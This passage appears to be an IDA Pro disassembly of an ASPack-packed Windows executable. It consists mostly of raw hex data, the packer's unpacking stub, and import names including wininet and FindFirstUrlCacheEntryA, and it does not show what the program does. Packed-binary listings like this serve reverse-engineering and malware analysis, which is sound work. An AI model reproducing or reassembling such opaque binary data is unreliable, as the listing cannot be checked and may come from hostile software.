		dd 46890C46h, 14C68310h, 4804958Bh, 0EBE90044h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_44A4DB:				; CODE XREF: start+6Ej
		mov	eax, ss:dword_443A76[ebp]
		push	eax
		add	eax, ss:dword_444804[ebp]
		pop	ecx
		or	ecx, ecx
		mov	ss:dword_443EA1[ebp], eax
		popa
		jnz	short loc_44A4FC
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_44A4FC:				; CODE XREF: start+4F1j
		push	offset sub_401219
		retn
start		endp

; ---------------------------------------------------------------------------
aLeHd		db '‹…',8,'HD',0
aNnahd		db 'AHD',0
		dw 5051h
		dd 491495FFh, 85890044h, 4439EDh, 4851858Dh, 0FF500044h
		dd 44491C95h, 4D858900h, 8D004448h, 44485C8Dh, 0FF505100h
		dd 44491495h, 0F1858900h, 8B004439h, 44484D85h,	688D8D00h
		dd 51004448h, 1495FF50h, 0FF004449h, 10C483D0h,	8D306A5Fh
		dd 4448729Dh, 6A575300h, 0F195FF00h, 6A004439h,	0ED95FFFFh
		db 39h,	44h, 0

; =============== S U B	R O U T	I N E =======================================



sub_44A577	proc near		; CODE XREF: start+1p
		mov	ebp, [esp+0]
		sub	ebp, offset byte_4439AB
		retn
sub_44A577	endp

; ---------------------------------------------------------------------------
		db 8Bh,	44h, 24h
		dd 54EC8110h, 8D000003h, 5004244Ch, 3A8E8h, 248C8B00h
		dd 35Ch, 5824948Bh, 51000003h, 244C8D52h, 40DE80Ch, 0C0840000h
		dd 0C8830A75h, 54C481FFh, 0C3000003h, 60248C8Bh, 8D000003h
		dd 51502404h, 0C244C8Dh, 5EFE8h, 75C08400h, 0FFC8830Ah
		dd 354C481h, 8BC30000h,	0C4812404h, 354h, 10C2h, 4030201h
		dd 8070605h, 100E0C0Ah,	201C1814h, 40383028h, 80706050h
		dd 0E0C0A0h, 0
		dd 1000000h, 2010101h, 3020202h, 4030303h, 5040404h, 50505h
		dd 1000000h, 3020201h, 5040403h, 7060605h, 9080807h, 0B0A0A09h
		dd 0D0C0C0Bh, 0F0E0E0Dh, 1110100Fh, 3 dup(11111111h), 12121211h
		dd 12121212h, 0D18B5112h, 8B956h, 39570000h, 3572044Ah
		dd 0FFF8BE53h, 28BFFFFh, 8840188Ah, 890C245Ch, 8428B02h
		dd 0C247C8Bh, 8108E0C1h, 0FFE7h, 8BC70B00h, 0FE03047Ah
		dd 8B084289h, 47A89C7h,	0D273C13Bh, 4728B5Bh, 8B08428Bh
		dd 2B10247Ch, 0B9E8D3CEh, 18h, 0FF25CF2Bh, 0D300FFFFh
		dd 5FF703E8h, 5E047289h, 4C259h, 424448Bh, 824548Bh, 848189h
		dd 91890000h, 88h, 8982048Dh, 8C81h, 1000500h, 8C20000h
		dd 98EC8100h, 53000000h, 0D18B5655h, 0FB957h, 0AA8B0000h
		dd 84h,	7C8DC033h, 0F6332C24h, 0BC8BABF3h, 0AC24h, 89EE3B00h
		dd 76202454h, 8AC93315h, 5C8B380Ch, 4C8D288Ch, 4043288Ch
		dd 1989C53Bh, 17B9EB72h, 89000000h, 89282474h, 72890472h
		dd 24748944h, 89FF3368h, 0C71C2474h, 1102444h, 89000000h
		dd 8D18244Ch, 7489086Ah, 448B1424h, 0E0D32C34h,	0FF81F803h
		dd 1000000h, 24247C89h,	8E870Fh, 448B0000h, 7D892834h
		dd 3C5D8B00h, 0F983C303h, 40458910h, 6C344489h,	758B4D7Ch
		dd 24448B00h, 245C8B10h, 8CBA8B1Ch, 0C1000000h,	0CE8B10EEh
		dd 0FF25h, 3CB2B00h, 8BD88AFBh,	89FB8AD1h, 8B1C2474h, 24748BC3h
		dd 10E0C114h, 0C1C38B66h, 0ABF302E9h, 548BCA8Bh, 0E1832024h
		dd 8BAAF303h, 8B24247Ch, 8B18244Ch, 83102444h, 494004C6h
		dd 8304C583h, 448909F9h, 4C891024h, 74891824h, 8D0F1424h
		dd 0FFFFFF62h, 0FF81h, 0F740100h, 325D5E5Fh, 0C4815BC0h
		dd 98h,	8B0004C2h, 8482h, 85C93300h, 8B3B76C0h,	0AC24B4h
		dd 48A0000h, 74C08431h,	88BA8B22h, 25000000h, 0FFh, 6884448Bh
		dd 33870C89h, 31048AC0h, 68847C8Bh, 6884448Dh, 8B388947h
		dd 8482h, 0C83B4100h, 5E5FCC72h, 5B01B05Dh, 98C481h, 4C20000h
		dd 56535100h, 8B57F18Bh, 4788306h, 8B307208h, 41118A08h
		dd 0C245488h, 488B0889h, 24548B08h, 8E1C10Ch, 0FFE281h
		dd 0CA0B0000h, 8304508Bh, 4889F8C2h, 89CA8B08h,	0F9830450h
		dd 8BD07308h, 408B0450h, 8B908h, 0CA2B0000h, 4E8BE8D3h
		dd 0FE002524h, 0C13B00FFh, 968B1473h, 8Ch, 0E9C1C88Bh
		dd 8ADB3310h, 0D38B111Ch, 463B3BEBh, 3B0A732Ch,	0D21B2846h
		dd 0EB0AC283h, 30463B2Ch, 0BBA0773h, 0EB000000h, 34463B20h
		dd 0CBA0773h, 0EB000000h, 38463B14h, 0DBA0773h,	0EB000000h
		dd 3C463B08h, 0C283D21Bh, 8B0E8B0Fh, 0FA030479h, 8B047989h
		dd 18B9961Ch, 2B000000h, 5FCA2BC3h, 4C8BE8D3h, 0C1034496h
		dd 888E8Bh, 5B5E0000h, 5981048Bh, 575653C3h, 0D233F98Bh
		dd 0B78DC033h, 268h, 0E8561689h, 25Eh, 0C7308C8Ah, 5E00443Fh
		dd 1BBh, 4C68300h, 0D303E3D3h, 3AF88340h, 448BDE72h, 4F8D1024h
		dd 0D1685010h, 0E8000002h, 0FFFFFD48h, 8D1C6A50h, 0A08Fh
		dd 0FD3AE800h, 6A50FFFFh, 308F8D08h, 0E8000001h, 0FFFFFD2Ch
		dd 8D136A50h, 1C08Fh, 0FD1EE800h, 8789FFFFh, 260h, 0F5055E5Fh
		dd 5B000002h, 8B0004C2h, 8B082444h, 244C8BD1h, 2895704h
		dd 8904428Dh, 440C708h,	20h, 89104289h,	0A082h,	30828900h
		dd 89000001h, 1C082h, 0B9C03300h, 0BDh,	2508289h, 82890000h
		dd 254h, 2588289h, 0BA8B0000h, 260h, 25C8289h, 0ABF30000h
		dd 0E8AACA8Bh, 4, 8C25Fh, 30CEC81h, 8B530000h, 8D5655D9h
		dd 6A57046Bh, 0E8CD8B01h, 0FFFFFC29h, 0E75C085h, 260BB8Bh
		dd 0BDB90000h, 0F3000000h, 0F633AAABh, 0CD8B046Ah, 0FFFC0CE8h
		dd 344488FFh, 0FE834610h, 8DED7213h, 1C0BBh, 24448D00h
		dd 0CF8B5010h, 0FFFC80E8h, 75C084FFh, 5D5E5F0Bh, 0CC4815Bh
		dd 0C3000003h, 0CF8BF633h, 0FFFDE4E8h, 10F883FFh, 8B8B1573h
		dd 260h, 231148Ah, 0FE280D0h, 24345488h, 7560EB46h, 8B026A28h
		dd 0FBB3E8CDh, 0C083FFFFh, 7EC08503h, 0F5FE814Eh, 7D000002h
		dd 344C8A52h, 4C884823h, 85462434h, 0EBEA7FC0h,	11F88336h
		dd 36A0E75h, 86E8CD8Bh,	83FFFFFBh, 0CEB03C0h, 0CD8B076Ah
		dd 0FFFB78E8h, 0BC083FFh, 137EC085h, 2F5FE81h, 177D0000h
		dd 243444C6h, 85484600h, 81ED7FC0h, 2F5FEh, 738C0F00h
		dd 8DFFFFFFh, 8D242454h, 0E852104Bh, 0FFFFFBD5h, 0B75C084h
		dd 5B5D5E5Fh, 30CC481h,	8DC30000h, 2F52484h, 8B8D0000h
		dd 0A0h, 0FBB3E850h, 0C084FFFFh, 5E5F0B75h, 0C4815B5Dh
		dd 30Ch, 248C8DC3h, 311h, 308B8D51h, 0E8000001h, 0FFFFFB91h
		dd 0B75C084h, 5B5D5E5Fh, 30CC481h, 0C6C30000h, 26483h
		dd 0C0330000h, 1104BC80h, 3000003h, 83400875h, 0F07208F8h
		dd 83C607EBh, 264h, 60838B01h, 8D000002h, 0BE24244Ch, 2F5h
		dd 1088118Ah, 754E4140h, 5D5E5FF7h, 815B01B0h, 30CC4h
		dd 1E8C300h, 90000000h,	5BEE815Eh, 0C3004445h, 8B14EC83h
		dd 531C2444h, 0C75655h,	0
		dd 2424448Bh, 85FF3357h, 89F18BC0h, 0F10247Ch, 25B86h
		dd 104E8D00h, 0FFFC7CE8h, 1003DFFh, 13730000h, 1880E8Bh
		dd 47410E8Bh, 7C890E89h, 29E91024h, 3D000002h, 2D0h, 213830Fh
		dd 50000h, 8BFFFFFFh, 7E083E8h,	8D03EDC1h, 0F8830250h
		dd 24548907h, 94850F14h, 8D000000h, 0A08Eh, 0FC2FE800h
		dd 4E8BFFFFh, 56DB3308h, 0FFFF6DE8h, 309C8AFFh,	443FABh
		dd 8F9835Eh, 4E8B3272h,	41118A04h, 18245488h, 8B044E89h
		dd 548B0C4Eh, 0E1C11824h, 0FFE28108h, 0B000000h, 8568BCAh
		dd 89F8C283h, 0CA8B0C4Eh, 83085689h, 0CE7308F9h, 8B087E8Bh
		dd 8B90C56h, 2B000000h,	0D3FB03CFh, 18B9EAh, 7E890000h
		dd 81CB2B08h, 0FFFFFFE2h, 33EAD300h, 3E856C9h, 8AFFFFFFh
		dd 3F8F308Ch, 8B5E0044h, 3142444h, 89C103CAh, 8A142444h
		dd 26486h, 0AE9C8B00h, 268h, 0E856D233h, 0FFFFFEDAh, 0C735948Ah
		dd 5E00443Fh, 0FA8BC084h, 0FF837674h, 8B717203h, 6F8D0846h
		dd 8F883FDh, 468B3172h,	0C568B04h, 8A08E2C1h, 4C884008h
		dd 4E8B1C24h, 4468908h,	1C24448Bh, 0FF25h, 0F8C18300h
		dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h,	7E8B0846h
		dd 8B90Ch, 0C82B0000h, 0EFD3C503h, 18B9h, 8468900h, 0E781CD2Bh
		dd 0FFFFFFh, 8E8DEFD3h,	130h, 0FFFB14E8h, 8DC303FFh, 5BEBF81Ch
		dd 8087E83h, 468B3172h,	0C568B04h, 8A08E2C1h, 4C884008h
		dd 4E8B2024h, 4468908h,	2024448Bh, 0FF25h, 0F8C18300h
		dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h,	468B0856h
		dd 8B90Ch, 0CA2B0000h, 0E8D3D703h, 18B9h, 8568900h, 0FF25CF2Bh
		dd 0D300FFFFh, 83D803E8h, 1A7303FBh, 509E8C8Bh,	85000002h
		dd 8B3074DBh, 25096h, 9E948900h, 250h, 868B1BEBh, 254h
		dd 250968Bh, 4B8D0000h,	588689FDh, 89000002h, 25496h, 508E8900h
		dd 8B000002h, 247C8B06h, 148D4114h, 89C23B38h, 8B107316h
		dd 40D12BD0h, 5088128Ah, 3B168BFFh, 8BF072C2h, 3102444h
		dd 244489C7h, 0EBF88B10h, 0E8CE8B0Bh, 0FFFFFBF0h, 1C74C084h
		dd 28247C3Bh, 0FDAB820Fh, 448BFFFFh, 38892C24h,	0B05D5E5Fh
		dd 0C4835B01h, 8C214h, 325D5E5Fh, 0C4835BC0h, 8C214h, 0
		dd 8, 400000h, 7C800000h, 6E72656Bh, 32336C65h,	6C6C642Eh
		dd 72695600h, 6C617574h, 6F6C6C41h, 69560063h, 61757472h
		dd 6572466Ch, 69560065h, 61757472h, 6F72506Ch, 74636574h
		dd 69784500h, 6F725074h, 73736563h, 0
		dd 65737500h, 2E323372h, 6C6C64h, 7373654Dh, 42656761h
		dd 41786Fh, 72707377h, 66746E69h, 4F4C0041h, 52454441h
		dd 52524520h, 5400524Fh, 70206568h, 65636F72h, 65727564h
		dd 746E6520h, 70207972h, 746E696Fh, 20732520h, 6C756F63h
		dd 6F6E2064h, 65622074h, 636F6C20h, 64657461h, 206E6920h
		dd 20656874h, 616E7964h, 2063696Dh, 6B6E696Ch, 62696C20h
		dd 79726172h, 732520h, 20656854h, 6964726Fh, 206C616Eh
		dd 63207525h, 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch
		dd 20646574h, 74206E69h, 64206568h, 6D616E79h, 6C206369h
		dd 206B6E69h, 7262696Ch, 20797261h, 90007325h, 7C80ADA0h
		dd 7C80B6A1h, 7C801D77h, 0
aKernel32_dll_2	db 'kernel32.dll',0
		db 2 dup(0), 47h
aEtprocaddress	db 'etProcAddress',0
		align 10h
aGetmodulehandl	db 'GetModuleHandleA',0
		db 2 dup(0), 4Ch
aOadlibrarya	db 'oadLibraryA',0
		dd 3 dup(0)
		dd 4AF80h, 4AF70h, 3 dup(0)
		dd 4B074h, 4B0C4h, 3 dup(0)
		dd 4B081h, 4B0CCh, 3 dup(0)
		dd 4B08Dh, 4B0D4h, 3 dup(0)
		dd 4B097h, 4B0DCh, 3 dup(0)
		dd 4B0A2h, 4B0E4h, 3 dup(0)
		dd 4B0ACh, 4B0ECh, 3 dup(0)
		dd 4B0B9h, 4B0F4h, 5 dup(0)
aOleaut32_dll	db 'oleaut32.dll',0
aWininet_dll_0	db 'wininet.dll',0
aOle32_dll_0	db 'ole32.dll',0
aUser32_dll_1	db 'user32.dll',0
aGdi32_dll_0	db 'gdi32.dll',0
aAdvapi32_dll_1	db 'advapi32.dll',0
aCrtdll_dll_0	db 'crtdll.dll',0
		dd 77124C05h, 0
aB_2		db '=ÞÂB',0
		align 4
		dd 774FFAC3h, 0
		dd 7E41F642h, 0
		dd 77F161D1h, 0
aSwW		db 'SwÝw',0
		align 4
aIoS		db 'ëoÙs',0
		align 4
		db    0
		align 2
aSysallocstring	db 'SysAllocString',0
		db 2 dup(0), 46h
aIndfirsturlcac	db 'indFirstUrlCacheEntryA',0
		align 4
		dd 436F4300h, 74616572h, 736E4965h, 636E6174h, 65h, 6C6C6143h
		dd 646E6957h, 7250776Fh, 41636Fh, 65470000h, 6F745374h
		dd 624F6B63h, 7463656Ah, 4F000000h, 506E6570h, 65636F72h
		dd 6F547373h, 6E656Bh, 695F0000h, 616F74h, 3A2h	dup(0)
_aspack		ends

; Section 7. (virtual address 0004D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0004D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 44D000h
		align 2000h
_idata2		ends


		end start